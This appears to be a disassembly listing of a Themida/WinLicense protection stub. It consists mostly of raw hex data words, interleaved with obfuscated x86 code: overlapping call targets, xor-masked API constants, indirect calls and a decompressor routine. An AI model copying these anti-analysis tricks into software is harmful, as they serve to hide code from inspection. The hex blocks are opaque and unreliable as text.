		dd 6CA3F97Bh, 0E9969FF6h, 11h, 0AE8B310Eh, 0F894FD70h
		dd 3FDCC686h, 1DEF3D06h, 60AD6612h, 38D852Bh, 0B8660603h
		dd 0C161728Bh, 8D8902E0h, 6032979h, 31C18503h, 0BE90603h
		dd 4C000000h, 6F789547h, 8A484CF1h, 0E996E2F5h,	0Ch, 0DDC29642h
		dd 6EFD72F1h, 221DBF5Bh, 0E1B589ADh, 8B06031Ch,	0F24244Ch
		dd 685h, 21BD0900h, 306031Fh, 0F242444h, 68Eh, 45958900h
		dd 89060332h, 601C2444h, 14E956h, 6CDD0000h, 1B4EB1A8h
		dd 4ADFBE76h, 0DC5808DBh, 0BA8E8909h, 0F5BE468h, 687h
		dd 860F00h, 61000000h, 1880F96h, 0F5000000h, 6830FACh
		dd 89000000h, 302358Dh,	0F8C93206h, 9589C1FEh, 6031AE5h
		dd 830FD0D0h, 0D5h, 0FD0D0FCh, 0CC83h, 38C0F00h, 60000000h
		dd 0D0D061F5h, 0BB820Fh, 840F0000h, 6, 250D9D89h, 0D0F80603h
		dd 0A6820FD0h, 89000000h, 32475B5h, 958B6006h, 6032979h
		dd 23A59529h, 0FE610603h, 0AD890FC9h, 1FFFFFFh,	3128195h
		dd 20C48306h, 0E8B0Fh, 29600000h, 32EA9B5h, 45952306h
		dd 61060301h, 0FC2444C7h, 0
		dd 12819589h, 1B80603h,	0E9000000h, 13h, 2BFC1E07h, 798FDCF6h
		dd 0A5C16BDEh, 585E3289h, 606EF3E2h, 0D9858B52h, 59060313h
		dd 0AE9h, 6548AD00h, 0F9F901B1h, 617F1A41h, 72878D8Dh
		dd 89600603h, 3315DB5h,	38B0F06h, 80000000h, 0FF6154C8h
		dd 0BE9E1h, 0FD840000h,	4D6D13C0h, 4DA7212Bh, 3985C66Dh
		dd 6032Fh, 0A9BD2B60h, 8B060309h, 32C718Dh, 0F616106h
		dd 0C82h, 6880F00h, 0F000000h, 8Eh, 8C200h, 1B858D89h
		dd 50500603h, 13E952h, 6EAB0000h, 99191639h, 0F1ED4C04h
		dd 7C2BD2E2h, 48105077h, 50310FEEh, 0F525052h, 0F585A31h
		dd 860F31h, 5A000000h, 89585A58h, 89F52434h, 33FC6B5h
		dd 8D89F906h, 6033FDFh,	0AB59D89h, 0B58D0603h, 6033EABh
		dd 0EE9h, 0EFB52100h, 8D15A525h, 0D7DDE07Bh, 8D48AC84h
		dd 5B7E3585h, 0EE900h, 0CAE20000h, 0AC7ACBBEh, 330E5E6h
		dd 0D22F725Bh, 8501D0FFh, 6030C15h, 13E95Eh, 0ED750000h
		dd 6ED93880h, 9751B6BFh, 0A3260943h, 0BE740B3h,	0A810F87h
		dd 0E9000000h, 5, 0E43A69Bh, 8BF5C3DEh,	33FC6B5h, 8D8BF506h
		dd 6033FDFh, 23099589h,	0B80603h, 89000000h, 3103D9Dh
		dd 60D98B06h, 2525858Bh, 52510603h, 0E961595Ah,	0D2h, 12E9h
		dd 740A4600h, 9DE545EBh, 0BEFFFED1h, 53CD9A26h,	32C92061h
		dd 0BD316026h, 6031CC5h, 61F88B66h, 5E902B2h, 88000000h
		dd 82307EC6h, 8BE9h, 0DDB50900h, 32060329h, 0EE9C2h, 0C5D00000h
		dd 647F5B2Eh, 0E3A4E8C1h, 7F957C6h, 0D850Fh, 89600000h
		dd 30465B5h, 0E437B806h, 5612C55h, 8A751D7Ah, 196D8D89h
		dd 0CC8A0603h, 2955B589h, 0C8D30603h, 0F8B0Fh, 0AE90000h
		dd 0A4000000h, 24854FEh, 0BD85B8DAh, 6660607Eh,	8E0FFE8Bh
		dd 0
		dd 3561F861h, 98D10842h, 6840Fh, 85010000h, 6031D7Dh, 2D958960h
		dd 52060304h, 615F19B1h, 0B509CAFEh, 6030B01h, 850FD20Ah
		dd 0FFFFFF73h, 0A0D9D29h, 0F84B0603h, 0DB0BFC46h, 0FF3D850Fh
		dd 0CFF9FFFFh, 0B70F6060h, 161F9CEh, 31EADBDh, 6106h, 10F1BD31h
		dd 603h, 26099D89h, 89600603h, 3318DBDh, 61FC06h, 0B58B6000h
		dd 60330E1h, 23DD8523h,	610603h
		db 0, 0F8h
; ---------------------------------------------------------------------------


loc_53FC66:				; CODE XREF: Themida_:0053F4E4j
		lea	eax, [ebp+60338A7h]
		jnb	loc_53FC78
		sub	[ebp+6030949h],	eax


loc_53FC78:				; CODE XREF: Themida_:0053FC6Cj
		mov	[ebp+6031CE9h],	eax
		mov	[ebp+60323E9h],	edx
		lea	eax, [ebp+6033DFEh]
		pusha
		push	esi
		jo	$+6
		pop	eax
		call	near ptr loc_53FC9C+3
		insd
		db	36h
		loopne	near ptr loc_53FCA9+1


loc_53FC9C:				; CODE XREF: Themida_:0053FC93p
		cmp	eax, 0DA8BE827h
		pop	esi
		popa
		mov	[ebp+6032C4Dh],	eax


loc_53FCA9:				; CODE XREF: Themida_:0053FC99j
		jmp	short loc_53FCBF
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 8B000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_53FCBF:				; CODE XREF: Themida_:loc_53FCA9j
		lea	eax, [ebp+6034103h]
		mov	[ebp+60311C5h],	eax
		cmp	dword ptr [ebp+6034043h], 0
		jz	loc_53FDFB
		mov	byte ptr [ebp+6032F39h], 56h
		call	near ptr loc_53FCE7+1
		cmp	[ebp+1Fh], ebp


loc_53FCE7:				; CODE XREF: Themida_:0053FCDFp
		aam	50h
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+6031359h]
		lea	eax, [ebp+60338A7h]
		call	eax
		mov	[ebp+6034037h],	eax
		mov	byte ptr [ebp+6032F39h], 56h
		push	0DA227EECh
		xor	dword ptr [esp], 468AC6BEh
		push	dword ptr [ebp+6031359h]
		lea	eax, [ebp+60338A7h]
		call	eax
		mov	[ebp+603403Bh],	eax
		push	4
		push	16B04ACDh
		xor	dword ptr [esp], 16B05ACDh
		mov	eax, [ebp+6034047h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp], eax
		push	0
		call	dword ptr [ebp+603403Bh]
		mov	[ebp+603403Fh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+60311C5h]
		mov	eax, ebx
		call	dword ptr [ebp+60311C5h]
		jmp	loc_53FDFB
; ---------------------------------------------------------------------------
		db 83h
		dd 34043BDh, 850F0006h,	1, 0BD8B57C3h, 603403Fh, 3F8583ABh
		dd 4060340h, 0BD83C35Fh, 6034043h, 1850F00h, 0C3000000h
		dd 3FAD8360h, 4060340h,	403F9D8Bh, 7B830603h, 850FFFFCh
		dd 1Dh,	92C13868h, 24048192h, 6D6DBEC8h, 33FF006Ah, 403795FFh
		dd 0C3610603h, 1DE9h, 4D966800h, 34816C97h, 97CD9624h
		dd 0FF006A6Ch, 3795FF33h, 83060340h, 3403FADh, 0B1E90406h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53FDFB:				; CODE XREF: Themida_:0053FCD2j
					; Themida_:0053FD72j
		dec	eax
		jmp	loc_53FFAE
; ---------------------------------------------------------------------------
		db 60h,	8Bh, 74h
		dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h
		dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
		dd 0D2124616h, 6A830Fh,	0C0330000h, 850FD202h, 5, 1246168Ah
		dd 2A830FD2h, 2000001h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0FC013D2h, 684h, 0F82B5700h,	885F078Ah, 2BB4707h, 0E9000000h
		dd 0FFFFFF70h, 1B8h, 0FD20200h,	585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	2BFFFFFFh, 1BBC3h
		dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	56FFFFFFh, 0F52BF78Bh
		dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah,	1B9E8h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h
		db 8, 0
; ---------------------------------------------------------------------------


loc_53FFAE:				; CODE XREF: Themida_:0053FDFCj
		mov	edx, 929h
		jmp	loc_54098B
; ---------------------------------------------------------------------------
		dd 497BF65Ch, 0C530E973h, 4AA6CD36h, 0E6FE7B5Dh, 423DD401h
		dd 0D72AED36h, 98F4CC3Fh, 0B7D31480h, 447BD001h, 0CD3CAB78h
		dd 19F4DA24h, 0A3F9694Ch, 21529F0Eh, 0C320E746h, 0CAF8CD22h
		dd 0B1D11480h, 447BD30Eh, 0D023AB62h, 7F4C53Eh,	0B4E27750h
		dd 4239911Ah, 0C737AB72h, 98B5DC22h, 0B1C45A81h, 5D7BC51Ah
		dd 0D022E464h, 0FAC530h, 63h dup(0)
		dd 407BF65Ch, 0D62CE579h, 1AF4DA3Eh, 0B4EA7547h, 4478DC02h
		dd 0C065F877h, 0CABACD34h, 0B0C81593h, 5829970Bh, 0CC2CE578h
		dd 4BD8836h, 0B3E26315h, 552B9111h, 0CF20FF65h,	0BAD9A27Fh
		dd 0ADDC1F99h, 587B9B0Ah, 0C32AE778h, 1EBD8835h, 0A9FF7C15h
		dd 4935910Eh, 0DB37E47Bh, 8EBAC971h, 0ADD808D5h, 5929D61Bh
		dd 0D72AF236h, 18A48823h, 0A7FF7D5Ah, 9F0Eh, 48h dup(0)
		dd 4E7BF65Ch, 0C926EA64h, 19F3DA34h, 0A9E26E15h, 4D30910Fh
		dd 0C727AB65h, 8CF4C634h, 0BAD30F9Ah, 432EC54Fh, 0C52BE278h
		dd 4ABAC171h, 0B4F8754Ch, 5F21C243h, 8C28EE62h,	8684A55Bh
		dd 0BBCE1B90h, 432E9743h, 0C624E47Ah, 4AA0C171h, 0ABE26853h
		dd 413DDC43h, 823CF979h, 0CAB0C630h, 0AACE1F87h, 0D2FC50Eh
		dd 0D030E46Fh, 5A6D871h, 0ABEC6852h, 4Dh, 61h dup(0)
		dd 4132F15Ch, 0CD26AB73h, 1AA1DA23h, 0E7E97F41h, 440C914Dh
		dd 0D265F87Fh, 98B3C723h, 0B69D1794h, 4F7BC40Eh, 822BEE73h
		dd 3BAC93Ch, 0A7E16F45h, 0C3CD417h, 8221E577h, 88ADC93Ch
		dd 0B7B07090h, 0D28901Bh, 0C723E57Fh, 0EB1DC32h, 0E6F47815h
		dd 450E9102h, 8236FE64h, 89F4DA3Eh, 0B5DE1B87h,	0D75D30Ah
		dd 0D12CE342h, 6BDCE71h, 0A9FA3A50h, 0C2C960Dh,	0C937E461h
		dd 93BAC971h, 0BBCF1598h, 41h, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_54098B:				; CODE XREF: Themida_:0053FFB3j
		jmp	loc_5436F2
; ---------------------------------------------------------------------------
		dd 8BD38AFCh, 0B43CBAC0h, 95293979h, 6031259h, 1039BD83h
		dd 75000603h, 1DBD8309h, 60311h, 53501374h, 1B8C08Bh, 8D000000h
		dd 5AF339Dh, 5BD3FF06h,	1DBD8358h, 60311h, 53501174h, 1B8h
		dd 0E49D8D00h, 0FF0605ADh, 66585BD3h, 56DC90BBh, 5AD38B66h
		dd 9589C08Bh, 6030115h,	371BD83h, 0F000603h, 1FE84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 32BF8A0Ah, 162904E4h, 0AE85609h, 7E000000h, 0B87382D5h
		dd 6827BD04h, 8F0FCBh, 5B000000h, 35BD835Bh, 60323h, 1B5840Fh
		dd 95890000h, 6031785h,	53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B58923E3h, 6032A59h
		dd 2335858Bh, 5F80603h,	3E8h, 0BF99D8Bh, 0E9500603h, 0Eh
		dd 74FCA19Ch, 3A7344B5h, 64EBF52Dh, 489486Dh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0AA53E051h, 95BFA3D2h, 9D298FA0h, 6031C91h, 4CFE858Dh
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 80EDD0C3h, 8A50CFC6h, 240489F8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D3C35242h, 0F6D666ADh
		dd 816681D1h, 8D6A72DAh, 34CDC85h, 859D8B06h, 9006032Ah
		dd 310F5250h, 585AD6B3h, 80BB6650h, 6A9092h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B83FAEC3h
		dd 0F375FC30h, 0DE8C46Bh, 77000000h, 8DC5B98Ch,	65DAE12Bh
		dd 535FBBCBh, 491958Bh,	0FF5B0603h, 3128595h, 0D2B70F06h
		dd 890CC483h, 310A1BDh,	0DC858D06h, 6A06034Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B39C350h, 0F78A50D8h, 0F5240489h, 6A026Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 652B61C3h, 0D58644BBh, 67D68028h, 857495FFh,	6A0068h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 618403C3h, 0C7DEBF0Fh, 34D0F85h, 106h, 0BE900h, 4E640000h
		dd 1C134150h, 8260CA0h,	0E5952B3Dh, 5006031Bh, 9E9h, 41E8D400h
		dd 9565247Bh, 3489F09Eh, 299DBB24h, 0B589071Fh,	6034CC0h
		dd 0F5958B57h, 5A06032Dh, 0F6C28166h, 91BD83CDh, 106031Eh
		dd 4E850Fh, 0BCB30000h,	0F05F883h, 4385h, 188E0F00h, 0E9000000h
		dd 13h,	54FA3A4Eh, 0D8513194h, 7FDE250Eh, 5DEEC981h, 0B8471474h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C3C35545h
		dd 0FD8A0F21h, 3059BD83h, 0F000603h, 1D84h, 11E900h, 40DE0000h
		dd 530F0D18h, 0C145FF2Bh, 79111BFFh, 0B8726838h, 0
		dd 666010B6h, 858BD38Bh, 60301FDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 67C35040h, 0F16BEEAFh, 6658BF30h
		dd 0C083DF8Bh, 0D3816602h, 8589A5B1h, 6034CB8h,	48E0Fh
		dd 50530000h, 0C65B5Ah,	53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 83865F48h, 59EFB906h
		dd 6718D29h, 85C60603h,	6032F39h, 2DBD2953h, 0E8060323h
		dd 4, 0FCB148D8h, 6650DE8Ah, 8B8C86BAh,	66042444h, 8BDE8Bh
		dd 5AD08B52h, 4244489h,	8158D88Bh, 0E9ED21E3h, 0C9B5FF27h
		dd 6A060328h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 9359C352h, 0D05E3A6Ah,	9D890960h
		dd 6033085h, 1FE59501h,	858D0603h, 60673BCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AAC35141h, 995B00EFh
		dd 5E9h, 91E0A00h, 0D0FFE68Bh, 7E9h, 0B5E78A00h, 0F3B24655h
		dd 1FB98589h, 0DE8B0603h, 2C69BD83h, 0F010603h,	0BB85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0B206AABFh, 0DEBF0FB3h, 5BD0161h, 0BA06030Bh
		dd 6EE77B13h, 2F3985C6h, 60450603h, 0E8DF8B66h,	8, 6F62651Bh
		dd 8C860E5Bh, 30D58D89h, 615A0603h, 2A40A368h, 81AEB2CFh
		dd 0F81F2404h, 9D8B0B35h, 6031FD9h, 28C9B5FFh, 858D0603h
		dd 60673BCh, 1AA19D89h,	0D0FF0603h, 239D9D8Bh, 6A0603h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 93C35545h
		dd 0C7096247h, 0D68B29B6h, 0EE9h, 0A5142200h, 82102AAEh
		dd 9F3672A0h, 0FFB9BB5Dh, 0DFBF0FD0h, 96DBD83h,	0F010603h
		dd 0E685h, 0DA816600h, 8A0F3C82h, 3, 8B0BE380h,	301FD85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0F30223DDh, 0A7C30E0Eh, 1958B8Fh, 0E9060309h
		dd 5Ch,	0E950BDB6h, 12h, 0B3B77DEFh, 0CB6A0AB4h, 0E9CCEE76h
		dd 30509B0h, 489CDDEh, 52006A24h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 433CD04Ah, 67B3D85Ch
		dd 17C380D7h, 2D719D8Bh, 146A0603h, 1FB995FFh, 0DBB0603h
		dd 5814FEC7h, 0F05CBA66h, 0F003880h, 0FFFF9D85h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0C6FE20C0h, 6A0100h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 614089C3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0F9C35242h,	26099503h, 0BD830603h
		dd 6030F35h, 5F840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 8684C350h
		dd 6C1E77AAh, 1AF19D29h, 0FF6A0603h, 20499D89h,	95FF0603h
		dd 6031FB9h, 0E9D68B66h, 0FFFFFFEAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E8C35141h,	80C8D680h, 85C7A6C3h
		dd 6030F35h, 1,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	2EC35141h, 12E9h, 3D6C6000h, 0D863ACCDh, 0E88350E0h
		dd 87A1A9E6h, 89B257F9h, 34CC485h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 4C5E7E2Ch
		dd 4C070C2Fh, 566090F5h, 0EE9h,	0E1140E00h, 56E474EDh
		dd 8EB7A245h, 5A6AA5D8h, 14E8h,	0BF3DD600h, 6C69A28Fh
		dd 47FE6994h, 2F0003A7h, 49997470h, 5B5E5185h, 7EB65061h
		dd 14E890h, 4A220000h, 65ED1820h, 0AB825DC4h, 33CD7AD2h
		dd 0A2F1ADF4h, 850132ABh, 6031145h, 56A605Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 85C35040h, 8E9DD87h
		dd 0C0000000h, 0F8307459h, 8B855732h, 305FD95h,	0DC858D06h
		dd 6A06034Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 554AC356h, 0C29426BAh,	52505017h
		dd 0D38B6653h, 0E8310F5Ah, 8, 775B2631h, 2D1F9E9h, 6E9h
		dd 0F730B900h, 5AC8FC75h, 489585Ah, 0CC858D24h,	5006034Ch
		dd 9FC7BA66h, 81240489h, 9A91FDDBh, 2195FF60h, 66060326h
		dd 77E2E281h, 7A1D8D8Dh, 81660603h, 0B7135F3h, 8D1174C0h
		dd 34CDC85h, 0D1FF5006h, 4CFA8589h, 0AEB0603h, 4CFA85C7h
		dd 0FFFF0603h, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0BEA343C3h, 85521A62h, 8BD7734Fh
		dd 32F1D95h, 38D0F06h, 80000000h, 5361FAEFh, 2E98D89h
		dd 0C65B0603h, 32F3985h, 0BA664D06h, 2568B238h,	50327423h
		dd 60525052h, 60310F61h, 0F585A61h, 10E931h, 0F2420000h
		dd 7B31DEDFh, 305DD2B4h, 40211A2Bh, 585A7585h, 83240481h
		dd 0E871C153h, 0Dh, 0C3448599h,	7DBEA455h, 35693DB0h, 0D8B70FD5h
		dd 91B5FF5Bh, 8B060331h, 31A399Dh, 6EDB8106h, 8D7FDBB7h
		dd 673BC85h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 3800F71h,	0F000000h, 0D0FFDFBFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D5C35242h
		dd 0D451F573h, 85C07F17h, 999D0BF5h, 29060317h,	3283D9Dh
		dd 0E1858906h, 0F06031Ah, 8Bh, 3985C600h, 4506032Fh, 5FDBD89h
		dd 4E80603h, 69000000h,	508E7269h, 1B850Fh, 8E0F0000h
		dd 15h,	10E9h, 891D6400h, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h
		dd 24448BE0h, 50008B04h, 0FF58A52h, 5E831h, 0CE200000h
		dd 0BBCC3C0Bh, 0DA497E7h, 89585A5Ah, 53042444h,	0F49816BBh
		dd 0BA585A77h, 1A112955h, 28C9B5FFh, 9D8B0603h,	6032BBDh
		dd 73BC858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3EAC12C3h, 998D89E6h, 0FF060332h
		dd 89DA8BD0h, 320F185h,	458D8906h, 8B06030Fh, 8C66F9D2h
		dd 56006AD9h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 750553D1h, 0E89DD382h, 7, 0BF2C42B5h, 8AA8F3E4h
		dd 0C0BA5BDAh, 897C45C0h, 31ECDBDh, 4C1F606h, 233840Fh
		dd 8B600000h, 31C2DB5h,	0F4806006h, 615F562Eh, 298D8961h
		dd 0E906031Fh, 112h, 0CD042BBh,	61BA665Ch, 5B58B83h, 6A06032Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0E9A8C357h, 170B744h, 330D19Dh, 80C68106h
		dd 6A000011h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 2287C356h, 0EF47EA2h, 3ED381C9h
		dd 0B67D06FAh, 85BD8340h, 6032Eh, 31850Fh, 41BA0000h, 812DE7DBh
		dd 0C60881E3h, 6BE96Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 49C093C3h, 83BE2F6Eh
		dd 840F003Eh, 41h, 519D8B51h, 5B060319h, 6660D78Bh, 3BC4E381h
		dd 9D8B146Ah, 60331B5h,	0FFD8B70Fh, 31FB995h, 0C59D8B06h
		dd 6106032Dh, 0BE9h, 0CBA81600h, 9CECFFBCh, 0C3EE777Ah
		dd 0FFFFBAE9h, 0D7BA66FFh, 106C717h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 7711C350h, 0BD8383CFh, 6034CC4h, 0FA850F05h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 83C8C351h, 0B5E5ADA0h, 7E9CBh, 35A90000h
		dd 0BDFADD15h, 3D95898Dh, 8B06032Fh, 320F1B5h, 0D68B6606h
		dd 64B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8AB8F225h, 0E83E80FDh, 19840Fh, 0AE90000h
		dd 9E000000h, 0A06E20D0h, 475C206Eh, 2BE9E5h, 81660000h
		dd 802668E3h, 0FC2057Eh, 6084h,	14E800h, 51B60000h, 26094397h
		dd 0E740B3A3h, 3633870Bh, 6AC8539Eh, 0DA8B0E81h, 9D8B465Bh
		dd 6032971h, 0AA850F49h, 50FFFFFFh, 68B0Fh, 958B0000h
		dd 603014Dh, 2FE95Bh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0BEE167C3h, 8A957610h
		dd 0DDB589DDh, 3060331h, 309F595h, 6A5806h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 59DFA3C3h
		dd 2179BD83h, 0F000603h, 19984h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0EC78FC85h
		dd 0A19DF547h, 60A8F780h, 0C6D1BF0Fh, 32F3985h,	6A5406h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 2D2DA2C3h, 8943F7DEh, 324858Dh, 4E8FC06h, 0F4000000h
		dd 66FF4EBEh, 50A2EEBAh, 0AB75F5BAh, 24448B2Ah,	8B88B704h
		dd 0DE800h, 8FC20000h, 92EAF28Fh, 337A209Ch, 664627BBh
		dd 895ADE8Bh, 66042444h, 582AA8BAh, 0AE9h, 7C992100h, 20EFCA5Dh
		dd 0FF32A357h, 328C9B5h, 35BD3106h, 8D060306h, 673BC85h
		dd 11958B06h, 0FF06031Dh, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 828E018Ch
		dd 89607C3Eh, 321C195h,	0EE906h, 0AA950000h, 0C78C25A4h
		dd 0DDE4D183h, 0EE305AB3h, 0BA006A61h, 604F5E46h, 0DCEA8166h
		dd 79B5FFDAh, 6A060321h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 3115C352h, 0BF0F73E0h
		dd 12E8DFh, 20D0000h, 6857FFADh, 0DA8D81Bh, 883B5D1Fh
		dd 41B2DCCBh, 1B71958Bh, 8A5B0603h, 6AD0FFD1h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 70E1C356h, 1C199D89h, 6A610603h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 10F6C351h
		dd 6F1D5A7Eh, 315B589h,	85C70603h, 6031D65h, 1,	3149958Bh
		dd 9E80603h, 0
		dd 0A527F096h, 595AF29Fh, 58B0Fh, 81660000h, 5A4ACFCBh
		dd 0D85EBB60h, 55681590h, 662B9CA9h, 3481D78Bh,	9CA9D524h
		dd 199D2B2Bh, 6A06031Bh, 0C19D29FFh, 0FF060317h, 30F8595h
		dd 0FD958906h, 6106031Bh, 8B908FB7h, 0AE850DEh,	0B5000000h
		dd 9F1F3FABh, 0AEC2218Ch, 61606009h, 5A6147B0h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0DF3E37F9h, 3056E9CAh, 958BA22Ah, 6032535h, 11F5858Bh
		dd 958B0603h, 60310E5h,	840FC00Bh, 52h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 8EC35343h, 0D486A664h
		dd 1F8D0F62h, 0E8000000h, 13h, 2EC5D069h, 0C1647F5Bh, 0C6E3A4E8h
		dd 1307F957h, 81A6B74Ah, 0BFA786F3h, 95FF5A69h,	6031D39h
		dd 98DDEA81h, 85C70B54h, 6031EF9h, 1, 8366C780h, 30339BDh
		dd 840F0006h, 2Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 6DC35747h, 3263FEh, 8B66DC44h, 95FFF8DAh
		dd 603303Dh, 83D2BF0Fh,	32A31BDh, 840F0006h, 2Eh, 2F75F3BBh
		dd 9D95FF72h, 6A06031Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 5C79C356h, 108D8589h
		dd 0BD830603h, 6030B6Dh, 5B840F00h, 0F000000h, 0BD83DFBFh
		dd 6031E65h, 4B850F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0FDBAC353h
		dd 95FF94E6h, 6030389h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 36C35040h, 0D3E0D1E7h, 2EF5B509h, 0BD830603h
		dd 6032D85h, 50840F00h,	0F000000h, 581h, 0DB816600h, 8581725Dh
		dd 6031775h, 4003h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0D3C35242h, 0EA2512D2h, 293A380Bh, 32A5D9Dh
		dd 81FA8A06h, 3239185h,	400306h, 0D5BD8900h, 0F060303h
		dd 4FBA6631h, 5A8D8D2Fh, 0BA06035Dh, 46429715h,	6A0189h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 6DFA2DC3h, 0E226968Eh, 807CAD41h, 0C233EFCAh, 0F558589h
		dd 41890603h, 310FF804h, 6850Fh, 9D8B0000h, 6032689h, 5D8F8D8Dh
		dd 81660603h, 89E8FDEBh, 0D88B6601h, 6AC233h, 3E853h, 5B200000h
